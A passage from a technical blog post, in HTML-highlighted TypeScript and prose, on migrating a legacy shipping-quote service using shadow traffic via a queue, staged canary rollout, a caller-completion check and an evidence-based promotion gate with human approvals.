  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;legacyBody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;legacyResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;content-type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// The signal lets the queue client cancel the send; the race keeps the bound even if it ignores the signal&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;enqueueWithin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ShadowQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ShadowJob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;timeoutMs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AbortController&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;timer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;shadow enqueue timed out&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="nx"&gt;timeoutMs&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;aborted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;never&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;abort&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;race&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enqueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;aborted&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;clearTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;timer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;forward&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;correlationId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/api/shipping/quote`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;content-type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;x-correlation-id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;correlationId&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AbortSignal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;UPSTREAM_TIMEOUT_MS&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// recordShadowError omitted: it sends the error to your metrics pipeline.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A worker consumes the queue outside the request path, calls the new service and records the comparison under the same correlation id:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleShadowJob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ShadowJob&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;candidate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;forward&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;NEW_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;correlationId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;expected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;legacyStatus&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;legacyBody&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;actual&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;candidate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;candidate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="nf"&gt;recordComparison&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;correlationId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;classifyDifference&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;actual&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// classifyDifference applies the approved tolerances (see the gate below);&lt;/span&gt;
&lt;span class="c1"&gt;// recordComparison stores the result with the correlation id for later inspection.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What matters in it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In &lt;strong&gt;shadow&lt;/strong&gt; mode the customer always gets the legacy answer. The new service runs on the same input and only its differences are recorded. This is the same idea as GitHub's &lt;a href="https://github.com/github/scientist" rel="noopener noreferrer"&gt;Scientist&lt;/a&gt; library, which always returns the old code path's result and publishes mismatches.&lt;/li&gt;
&lt;li&gt;The comparison runs from a &lt;strong&gt;queue, not a fire-and-forget promise&lt;/strong&gt;. A detached promise after the response is not guaranteed to finish, especially on serverless runtimes that freeze the instance once the response is sent. A queue (or a background-task API your runtime documents, such as &lt;code&gt;waitUntil&lt;/code&gt; on Cloudflare Workers) makes the comparison survive, and lets you retry it.&lt;/li&gt;
&lt;li&gt;The enqueue itself is still on the request path, so it gets a &lt;strong&gt;hard time limit&lt;/strong&gt;: in the worst case shadowing adds 50 milliseconds, and a slow queue costs you a comparison, never a customer request. The abort signal asks the queue client to cancel the send too, so a timed-out enqueue doesn't keep working in the background; use a client that accepts a signal or has its own native timeout. If even that is too much, hand the job to something the infrastructure runs off the request path, such as that background-task API or a local agent that ships the records to the queue.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;correlation id&lt;/strong&gt; travels in a header to both systems and into the comparison record. Without it, a mismatch in your metrics can't be traced back to the two log lines that explain it.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;timeout comes from the dependencies&lt;/strong&gt;, not from a round number. The legacy path waits up to 3 seconds for the carrier, so a 2-second facade timeout would fail requests the legacy system was about to answer correctly. Size it from the slowest dependency and the latency budget of the caller.&lt;/li&gt;
&lt;li&gt;Shadowing is safe here only after the external-call check from Step 1. Scientist's own README warns that it's only safe for code that doesn't change data. For capabilities with side effects, you need a sandbox for the new path, or you compare the intended effect (the command it would send) instead of executing it twice.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Canary&lt;/strong&gt; sends a percentage of real traffic to the new service. Per-request random routing is fine for a stateless calculation; anything with sessions needs sticky routing.&lt;/li&gt;
&lt;li&gt;The batch job from Step 1 never passes through this facade. It needs its own switch, or it keeps using the old calculator after the migration is "done".&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 4: shift traffic in stages
&lt;/h3&gt;

&lt;p&gt;The rollout agent prepares a plan, not a deployment. A typical sequence: shadow for a week of real traffic, then canary at 1%, 10%, 50% and 100%. Every stage has the same exit criteria, and the rollback is a single config change back to &lt;code&gt;legacy&lt;/code&gt; that anyone on call can apply without an agent.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5: done means no caller is left
&lt;/h3&gt;

&lt;p&gt;100% of the endpoint's traffic on the new service is not the end of the migration. The batch job from Step 1 still calls the old calculator, and it won't show up in any facade metric. &lt;strong&gt;The capability is migrated when nothing depends on the old implementation anymore&lt;/strong&gt;: no consumer, no job, no integration.&lt;/p&gt;

&lt;p&gt;The completion check, before anyone deletes the legacy code path:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every entry point in the capability map is switched: the endpoint through the facade, the batch job through its own change.&lt;/li&gt;
&lt;li&gt;The legacy route receives zero requests over a full business cycle, long enough to include month-end and other periodic jobs.&lt;/li&gt;
&lt;li&gt;Runtime evidence agrees with the map: logs or tracing show no calls into the old &lt;code&gt;ShippingCalculator&lt;/code&gt; from anywhere.&lt;/li&gt;
&lt;li&gt;Integrations outside the codebase are accounted for: reports, partner exports, database jobs that read the same tables.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The discovery agent can produce that list of callers again, against the current code and logs. A human signs off on deleting the old code path, because this is the one step with no cheap rollback.&lt;/p&gt;




&lt;h2&gt;
  
  
  Verification is the gate, not AI confidence
&lt;/h2&gt;

&lt;p&gt;The gate between stages is a function of evidence. Here is the one I'd start with; the thresholds are illustrative starting points, so tune them to your traffic and risk.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;ShadowMismatches&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;unclassified&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;      &lt;span class="c1"&gt;// nobody has looked at them yet&lt;/span&gt;
  &lt;span class="nl"&gt;critical&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="c1"&gt;// a real behavior difference&lt;/span&gt;
  &lt;span class="nl"&gt;outsideTolerance&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// non-critical, but not covered by an approved tolerance&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;MigrationEvidence&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;characterizationPassRate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// new service, 0..1&lt;/span&gt;
  &lt;span class="nl"&gt;contractTestsPassed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;shadowRequests&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;mismatches&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ShadowMismatches&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;p95LatencyRatio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="c1"&gt;// new / legacy&lt;/span&gt;
  &lt;span class="nl"&gt;rollbackRehearsed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;approvals&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MIN_SHADOW_REQUESTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MAX_P95_LATENCY_RATIO&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;REQUIRED_APPROVALS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;capability-owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;on-call-engineer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;evaluateStageGate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;MigrationEvidence&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;promote&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;hasValidEvidence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;promote&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;missing or invalid evidence&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="na"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;unclassified&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;critical&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;outsideTolerance&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mismatches&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;characterizationPassRate&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;characterization suite is not fully green&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;contractTestsPassed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;contract tests failed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;shadowRequests&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;MIN_SHADOW_REQUESTS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;not enough shadow traffic yet&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;unclassified&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;unclassified&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; shadow mismatches not classified`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
